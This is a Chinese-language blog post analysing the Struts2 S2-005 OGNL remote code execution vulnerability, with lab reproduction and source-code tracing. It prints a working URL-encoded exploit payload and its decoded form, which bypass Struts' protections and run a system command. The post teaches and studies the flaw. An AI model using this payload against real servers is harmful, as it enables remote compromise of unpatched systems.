Struts2 历史漏洞分析 — S2-005

本篇文章全文约 10556 个字符,5 张图片,预计阅读时间为 15 分钟,请合理安排阅读时间。

关于 S2-005

首先贴上官方对 S2-005 的通报
https://struts.apache.org/docs/s2-005.html
以及一篇老外的文章
http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html

影响范围:Struts 2.0.0 - Struts 2.1.8.1

《白帽子讲WEB安全》一书中有提到:

S2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。 —— 《白帽子讲Web安全》

也就是说,S2-005这个漏洞的成因是由于在 S2-003 这个漏洞中没有完全修补造成的。

而 S2-003 是因为在 ParametersInterceptor 拦截器中过滤了 #以保护成员的安全,但可以通过 Unicode 编码来绕过。

例如:想要把 #session.user设置为 '0wn3d'
应转换为
('u0023' + 'session'user'')(unused)=0wn3d

官方对S2-003的修复方案是:增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den
yMethodExecution)等来修补。

复现

参考 vulhub 中提供的例子,启动docker。

https://github.com/vulhub/vulhub/tree/master/struts2/s2-005

payload

http://localhost:8888/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%22@%22))%27)(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

1551936224(1).jpg

成功执行系统命令

分析

前面说了,是因为struts参数拦截器把每个参数进行了一次OGNL计算来获取对象导致的。那我就来带上参数访问看看会hook到什么。

http://localhost:8888/example/HelloWorld.action?aaaaaa=123456

---------------------------------EXP-----------------------------------------
aaaaaa
---------------------------------璋冪敤閾�---------------------------------------
java.lang.Thread.getStackTrace(Thread.java:1559)
org.javaweb.expression.Agent.expression(Agent.java:179)
ognl.Ognl.parseExpression(Ognl.java)
com.opensymphony.xwork2.ognl.OgnlUtil.compile(OgnlUtil.java:214)
com.opensymphony.xwork2.ognl.OgnlUtil.setValue(OgnlUtil.java:198)
com.opensymphony.xwork2.ognl.OgnlValueStack.setValue(OgnlValueStack.java:161)
com.opensymphony.xwork2.ognl.OgnlValueStack.setValue(OgnlValueStack.java:149)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.setParameters(ParametersInterceptor.java:276)
com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:187)
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:87)
//...
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:176)
com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:237)
org.apache.struts2.impl.StrutsActionProxy.execute(StrutsActionProxy.java:52)
org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:488)
org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:77)
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)
//...
java.lang.Thread.run(Thread.java:748)

aaaaaa 就是 hook 到的 ognl 表达式。

接下来开始一点点分析成因。

既然前面提到了是因为拦截器的原因,那就先来看看拦截器是以怎样的形式存在于 Struts2 里的。

打开 war 包找到 struts.xml

    <package name="default" namespace="/" extends="struts-default">
        <default-action-ref name="index" />
        <action name="index">
            <result type="redirectAction">
                <param name="actionName">HelloWorld</param>
                <param name="namespace">/example</param>
            </result>
        </action>
    </package>

这是我所访问的 action 对应的 package标签。

其中有一句extends="struts-default" 就是去继承 struts 默认的父package。

struts2-core-2.1.8.1.jar!\struts-default.xml 中可以找到。

里面代码很多,我只提取部分出来说明。

<interceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor"/>

这里他声明了一个名为 params 的拦截器,指向的是 ParametersInterceptor 类。

<interceptor-stack name="defaultStack">
                <!-- 省略 -->
                <interceptor-ref name="params">
                  <param name="excludeParams">dojo\..*,^struts\..*</param>
                </interceptor-ref>
                <interceptor-ref name="conversionError"/>
                <interceptor-ref name="validation">
                    <param name="excludeMethods">input,back,cancel,browse</param>
                </interceptor-ref>
                <interceptor-ref name="workflow">
                    <param name="excludeMethods">input,back,cancel,browse</param>
                </interceptor-ref>
            </interceptor-stack>

这是一个名为"defaultStack"的拦截器栈 其中引用了 params 拦截器。

dojo\..*,^struts\..*是它的参数


        <default-interceptor-ref name="defaultStack"/>

        <default-class-ref class="com.opensymphony.xwork2.ActionSupport" />

最后,把defaultStack作为了默认的拦截器栈。

重新请求一遍,Debug 一步步分析。

从 struts2 的核心控制器到 intercept 执行前都是废话

(StrutsPrepareAndExecuteFilter.java:91)
(ExecuteOperations.java:77)
(Dispatcher.java:488)
(StrutsActionProxy.java:52)
(DefaultActionInvocation.java:237)

然后它会在 DefaultActionInvocation (com.opensymphony.xwork2)invoke方法中去调用拦截器栈中的所有拦截器。

跳过前面没用的代码,最终到达 ParametersInterceptor拦截器的处理部分。

1551936237(1).jpg

this.resultCode = interceptor.getInterceptor().intercept(this);

这段代码就是去执行拦截器

然后经过MethodFilterInterceptor类的intercept方法到达

ParametersInterceptor类的doIntercept方法

public String doIntercept(ActionInvocation invocation) throws Exception {
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {
            ActionContext ac = invocation.getInvocationContext();
            Map<String, Object> parameters = this.retrieveParameters(ac);
            if (LOG.isDebugEnabled()) {
                LOG.debug("Setting params " + this.getParameterLogMap(parameters), new String[0]);
            }

            if (parameters != null) {
                Map contextMap = ac.getContextMap();

                try {
                    ReflectionContextState.setCreatingNullObjects(contextMap, true);
                    ReflectionContextState.setDenyMethodExecution(contextMap, true);
                    ReflectionContextState.setReportingConversionErrors(contextMap, true);
                    ValueStack stack = ac.getValueStack();
                    this.setParameters(action, stack, parameters);  // 装配参数,进入漏洞触发部分
                } finally {
                    ReflectionContextState.setCreatingNullObjects(contextMap, false);
                    ReflectionContextState.setDenyMethodExecution(contextMap, false);
                    ReflectionContextState.setReportingConversionErrors(contextMap, false);
                }
            }
        }

        return invocation.invoke();
    }

跟进ParametersInterceptor.setParameters

protected void setParameters(Object action, ValueStack stack, Map<String, Object> parameters) {
        ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
        TreeMap params;
        TreeMap acceptableParameters;
        if (this.ordered) {
            params = new TreeMap(this.getOrderedComparator());
            acceptableParameters = new TreeMap(this.getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters);
            acceptableParameters = new TreeMap();
        }

        Iterator i$ = params.entrySet().iterator(); // 迭代每个参数

        while(i$.hasNext()) { 
            Entry<String, Object> entry = (Entry)i$.next();
            String name = (String)entry.getKey();
            boolean acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
            // 这一步验证输入的参数是否和规定的正则表达式匹配
            
            if (acceptableName) {
                acceptableParameters.put(name, entry.getValue());
            }
        }

        ValueStack newStack = this.valueStackFactory.createValueStack(stack);
        boolean clearableStack = newStack instanceof ClearableValueStack;
        if (clearableStack) {
            ((ClearableValueStack)newStack).clearContextValues();
            Map<String, Object> context = newStack.getContext();
            ReflectionContextState.setCreatingNullObjects(context, true);
            ReflectionContextState.setDenyMethodExecution(context, true);
            ReflectionContextState.setReportingConversionErrors(context, true);
            context.put("com.opensymphony.xwork2.ActionContext.locale", stack.getContext().get("com.opensymphony.xwork2.ActionContext.locale"));
        }

        boolean memberAccessStack = newStack instanceof MemberAccessValueStack; //允许访问栈
        if (memberAccessStack) {
            MemberAccessValueStack accessValueStack = (MemberAccessValueStack)newStack;
            accessValueStack.setAcceptProperties(this.acceptParams);
            accessValueStack.setExcludeProperties(this.excludeParams);
        }

        Iterator i$ = acceptableParameters.entrySet().iterator(); // 迭代允许执行的参数

        while(i$.hasNext()) {
            Entry<String, Object> entry = (Entry)i$.next();
            String name = (String)entry.getKey();  //触发漏洞的payload
            Object value = entry.getValue();

            try {
                newStack.setValue(name, value);  // 触发漏洞部分
            } catch (RuntimeException var16) {
                if (devMode) {
                    String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{"Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var16.getMessage()});
                    LOG.error(developerNotification, new String[0]);
                    if (action instanceof ValidationAware) {
                        ((ValidationAware)action).addActionMessage(developerNotification);
                    }
                }
            }
        }

        //省略...
    }

1551936252(1).jpg

这里验证参数是否符合表达式 [[\p{Graph}\s]&&[^,#:=]]* ,如果符合则被认为带有特殊字符不予通过。并且还要通过isExcluded方法的验证(dojo\..*^struts\..*不能带有dojo和以struts开头的参数名)。

1551936259(1).jpg

最终在OgnlValueStack.setValue中执行了表达式。

总结

我们先来总结一下POC。

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true
&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("calc")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

解码后

('#_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true
//设置允许访问静态方法
&(aaaa)(('#context[\'xwork.MethodAccessor.denyMethodExecution\']=#vccc')(#vccc=new java.lang.Boolean("false")))
//设置denyMethodExecution为false 允许ognl自定义变量
&(asdf)(('#rt.exec("calc")')(#rt=@java.lang.Runtime@getRuntime()))=1
//执行 calc 系统命令

比起以往的的POC,可以看到这个POC非常有特点,我提取出来几个说一下。

  • \u0023
  • (vaaa)
  • xxxx[\'xxx\']

首先说\u0023 ,这是一个Unicode编码,转换过来就是#
这里为的是绕过前面的参数校验,拦截器中不允许键中存在^,#:=这些字符,而我们的Payload为了可以访问对象则必须要有#和=,所以我们要用 Unicode 或8进制代替,在OGNL执行的时候会取出Unicode进行解码,这就导致我们可以通过编码特殊字符来绕过Struts2的防御。

再来说(vaaa),这里可以参考:http://commons.apache.org/proper/commons-ognl/language-guide.htmlExpression Evaluation 部分

1551936267(1).jpg

如果在ognl表达式后面使用带括号的表达式,而括号前面没有点,ognl将尝试将第一个表达式的结果视为要计算的另一个表达式,并将带括号表达式的结果用作该计算的根对象。第一个表达式的结果可以是任何对象;如果它是AST,则ognl假定它是表达式的解析形式并简单地解释它;否则,ognl将获取对象的字符串值并解析该字符串以获取要解释的AST。

因为ognl会将其解释为对fact方法的调用。通过用括号将属性引用括起来,可以强制执行所需的解释

翻译成人话就是说括号里的表达式会被执行。

(1)(expression)(constant)= value会执行expression=value。
(2)(constant)((expression1)(expression2))会先执行expression2,然后再执行expression1。 参考:Struts2漏洞分析与研究之S2-005漏洞分析

再来说一下 xxxx[\'xxx\'] 比如这个表达式('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true 前面有说到过 Expression Evaluation 会执行 第一个括号中的('\u0023_memberAccess[\'allowStaticMethodAccess\']')=true

'#_memberAccess[\'allowStaticMethodAccess\']'这个则是真正要执行的表达式。

因为修改 aaa 的 bbb 属性可以用 aaa.bbb=ccc 或 aaa['bbb']=ccc 表示,所以这里用了
#_memberAccess[\'allowStaticMethodAccess\'] 这种表达式,而使用反斜杠\是因为它已经在单引号表达式中存在了所以要转义。又因为在键中这种表示是不允许的所以在请求时一般需要进行一次url编码。

最后总结一下这个漏洞。

根据前面的介绍和分析已经可以知道漏洞的两个成因:

  • ParametersInterceptor只通过正则去简单的判断#,而OGNL是可以对 Unicode 字符解码执行的
  • 可以修改xwork.MethodAccessor.denyMethodExecutionallowStaticMethodAccess以绕过 Struts 的防护

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。